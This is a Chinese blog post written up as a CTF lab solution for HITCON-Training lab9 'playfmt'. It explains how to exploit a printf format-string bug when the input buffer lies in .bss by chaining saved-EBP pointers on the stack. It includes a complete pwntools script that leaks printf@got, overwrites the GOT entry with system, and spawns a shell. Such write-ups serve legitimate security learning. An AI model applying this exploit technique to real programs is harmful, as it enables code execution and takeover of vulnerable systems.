暑假集训——Hitcon_Trainning——lab9_playfmt——格式化字符串漏洞_字符串在bss段

格式化字符串漏洞

思路

一开始就是没有思路,太菜了,真的太菜了TAT。
在这里插入图片描述
这里的buf是在bss段,也就是意味着没有办法用常规方法做。
看了大佬的wp才知道可以控制ebp来实现地址任意写。
但是我觉得或许用栈迁移也可以试一下。
先写一波控制ebp!

控制ebp

首先,格式化字符串漏洞的两个利用方式

  • 泄露栈上内容
  • 改写某地址内容(前提是这个地址要在栈上,也就是printf可控的地方)

原理是用格式化字符串对栈上的相对而言的参数进行解析

如果用的%k$p、%k$x等就是打印出来相对printf的第几个参数;
%s可以打印栈上地址指向的内容(等会用这个打印printf@got),也可以用来破坏程序;
%n可以向地址类参数指向的地方写入内容。

为什么buf在bss段就没法用常规方法?

  • 常规方法是利用栈上内容可写,将其写为某个地址,然后用%k$n这样的方式把这个地址指向的内容改掉。 而现在buf没法通过直接写入来控制栈上的地址。

所以现在关键是要找到栈上哪些位置里面的内容是地址而且是可以控制栈上别的位置的内容的,以此来写入我们的目的地址。这个地方就是ebp。
ebp本来就是用来保存之前的ebp的内容。比如我们设想一个情况:

ebp_1是相对printf的第6个参数,里面存着ebp_2的地址;

ebp_2是相对printf的第10个参数;

格式化字符串漏洞就可以通过 %6$n改写ebp_2指向别的地方。

改写过后,ebp_2内就是栈上另外位置的地址,我们假设他是fmt_7,是相对于printf的第7个参数

%10$n 就可以让fmt_7指向printf@got。

%7$s 就可以打印出printf@got的内容

从而计算出system的真实地址。
%7$n就可以直接改写printf@got为system的地址,接下来再调用printf就是调用system了。

但是有一个问题,%k$n一用就炸,也就是说我们起码要用hn,在找fmt_7的时候要求其内容的前两个字节和got表的前两个字节是相同的。
并且在改写printf@got的时候,至少要把它分为两次写进去,那么我们就还要有一个地方指向printf@got+2,这个地址的要求和fmt_7是一样的。

在这里插入图片描述
在这里插入图片描述

exp

from pwn import *

context.log_level='debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']


sh = process('./playfmt')
elf = ELF('./playfmt')
libc = elf.libc

#gdb.attach(sh)

#-----------------address prepare----------------

printf_got = elf.got['printf']
printf_libc = libc.symbols['printf']
system_libc = libc.symbols['system']

sh.recv()
sh.sendline('%6$x')

ebp_2 = int(sh.recv(),16)
fmt_7 = ebp_2-0xc
fmt_11 = ebp_2+0x4
ebp_1 = fmt_7-0x4

#-----------------ebp_2-->fmt_7--------------------

payload = '%'+str(fmt_7 & 0xffff)+'c%6$hn\x00'
sh.sendline(payload)

sleep(0.3)

'''
这里的一段while,是因为%kc输出的实在太多了
recv()每次只能接受0x1000的内容
如果没有循环的话会卡住。
用一个标识符做接受完成标志
至于为什么这里每次都要sendline('yes!')
因为他可能前面的输出加上'ye'刚好就是0x100,后面就会因为只有's!'而没法跳出循环,就卡死了
[↑血的教训=皿=]
sleep(0.1)是两个sendline之间的常规操作来应对玄学问题[我猜的]。
'''
sh.sendline('yes!')
while True:
    sh.sendline('yes!')
    sleep(0.1)
    if sh.recv().find('yes!') != -1:
        break



#-----------------fmt_7-->printf@got----------------

payload = '%' + str(printf_got & 0xffff)+'c%10$hn\x00'
sh.sendline(payload)

sleep(0.3)

sh.sendline('yes!')
while True:
    sh.sendline('yes!')
    sleep(0.1)
    if sh.recv().find('yes!') != -1:
        break


#-----------------ebp_2-->fmt_11--------------------

payload = '%' + str(fmt_11 & 0xffff) + 'c%6$hn\x00'
sh.sendline(payload)

sleep(0.3)

sh.sendline('yes!')
while True:
    sh.sendline('yes!')
    sleep(0.1)
    if sh.recv().find('yes!') != -1:
        break

#-----------------fmt_11-->printf@got+2---------------

payload = '%' + str((printf_got+2) & 0xffff) +'c%10$hn\x00'
sh.sendline(payload)

sleep(0.3)

sh.sendline('yes!')
while True:
    sh.sendline('yes!')
    sleep(0.1)
    if sh.recv().find('yes!') != -1:
        break
#-----------------calculate system address-------------

sh.sendline('%7$s')
printf_elf = u32(sh.recv(4))

system_elf = printf_elf-printf_libc+system_libc

log.info('************{:#x}***********'.format(system_elf))

#----------------change global offset table------------

addr_1 = system_elf & 0xffff
addr_2 = system_elf>>16

'''
这里是防止addr_2比addr_1小
嘻嘻,从师傅那里偷学的方法=v=
'''

ls=[0,addr_1,addr_2]
ls.sort()
lis={0:0,addr_1:7,addr_2:11}

payload=''
for i in range(1,3):
    payload += '%' + str(ls[i]-ls[i-1]) + 'c%' + str(lis[ls[i]]) + '$n'
payload += '\x00'

log.info('************{}***********'.format(payload))

sh.sendline(payload)

sleep(0.3)

sh.sendline('yes!')
while True:
    sh.sendline('yes!')
    sleep(0.1)
    if sh.recv().find('yes!') != -1:
        break

sleep(0.1)

sh.sendline('/bin/sh')

sh.interactive()
sh.close()

栈迁移

这个思路按理是可以的,把do_fmt的返回地址改成read的,按照常规栈迁移的套路来,然后用read做栈溢出,输入quit就可以开始栈迁移。但是ebp_1怎么变是一个问题,%k$n的输出太长了会炸是另一个问题,好麻烦啊。不想写了。【可能这就是我咸鱼的原因。】

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值